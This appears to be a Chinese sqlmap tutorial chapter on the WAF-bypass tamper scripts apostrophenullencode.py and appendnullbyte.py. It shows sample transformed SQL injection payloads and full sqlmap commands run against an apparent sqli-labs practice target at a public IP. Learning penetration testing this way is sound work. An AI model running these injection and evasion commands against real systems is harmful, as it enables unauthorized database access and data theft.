sqlmap从入门到精通-第七章-7-2 绕过WAF脚本-apostrophenullencode.py&appendnullbyte.py
2. apostrophenullencode.py脚本
使用非法的双字节unicode字符替换单引号字符,即 %00%27替换为单引号"'",例如payload是 "1 AND '1'='1" 经过此脚本操作变换为"1 AND %00%271%00%27=%00%271"
实战演示:
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="apostrophenullencode.py" --proxy="http://127.0.0.1:8080"
经过测试使用此双字节unicode字符替换单引号的方式是有效果的,可以注入出来,具体看下图
发现是注入成功的,下面看看burpsuite抓到的payload
对注入的payload进行解码
发现是准确的,就是使用%00%27替换成单引号。
-------------------------------------------------------------------------------------------------------------------------------------------------------------
3. appendnullbyte.py脚本
通过在payload末尾添加空字符编码,就是加类是这样的"%00",例如:"1 AND 88=88%00'" ,作者这里描述反馈的是只适用于Access数据库,但是我测试环境是Mariadb数据库发现是测试成功的,也能注入出来。
实战演示:
测试地址:python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --dbs --tamper="appendnullbyte.py" --proxy="http://127.0.0.1:8080"
下面的演示的效果图:
使用Burpsuite抓包查看payload是否添加%00
验证完成,可确认此绕过方式也适用Mariadb数据库,即在payload后面添加%00